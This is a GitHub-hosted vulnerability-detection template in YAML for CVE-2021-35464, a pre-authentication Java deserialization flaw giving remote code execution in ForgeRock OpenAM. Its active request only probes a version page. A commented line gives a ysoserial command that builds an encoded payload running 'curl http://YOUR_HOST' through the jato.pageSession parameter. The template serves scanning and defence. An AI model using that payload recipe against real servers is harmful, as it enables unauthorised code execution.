forked from cckuailong/reapoc
-
Notifications
You must be signed in to change notification settings - Fork 0
/
CVE-2021-35464.yaml
45 lines (39 loc) · 1.47 KB
/
CVE-2021-35464.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
id: CVE-2021-35464
info:
author: madrobot
name: Pre-auth RCE in ForgeRock OpenAM
description: |
ForgeRock AM server before 7.0 has a Java deserialization vulnerability in the jato.pageSession parameter on multiple pages.
The exploitation does not require authentication, and remote code execution can be triggered by sending a single crafted
/ccversion/* request to the server. The vulnerability exists due to the usage of Sun ONE Application Framework (JATO)
found in versions of Java 8 or earlier
severity: critical
tags: cve,cve2021,openam,rce,java
reference:
- https://portswigger.net/research/pre-auth-rce-in-forgerock-openam-cve-2021-35464
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.80
cve-id: CVE-2021-35464
cwe-id: CWE-502
requests:
- method: GET
path:
- '{{BaseURL}}/openam/oauth2/..;/ccversion/Version'
# '{{BaseURL}}/openam/oauth2/..;/ccversion/Version?jato.pageSession=<serialized_object>'
# java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Click1 "curl http://YOUR_HOST" | (echo -ne \\x00 && cat) | base64 | tr '/+' '_-' | tr -d '='
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "Set-Cookie: JSESSIONID="
part: header
- type: word
words:
- "Version Information -"
- "openam/ccversion/Masthead.jsp"
part: body
condition: or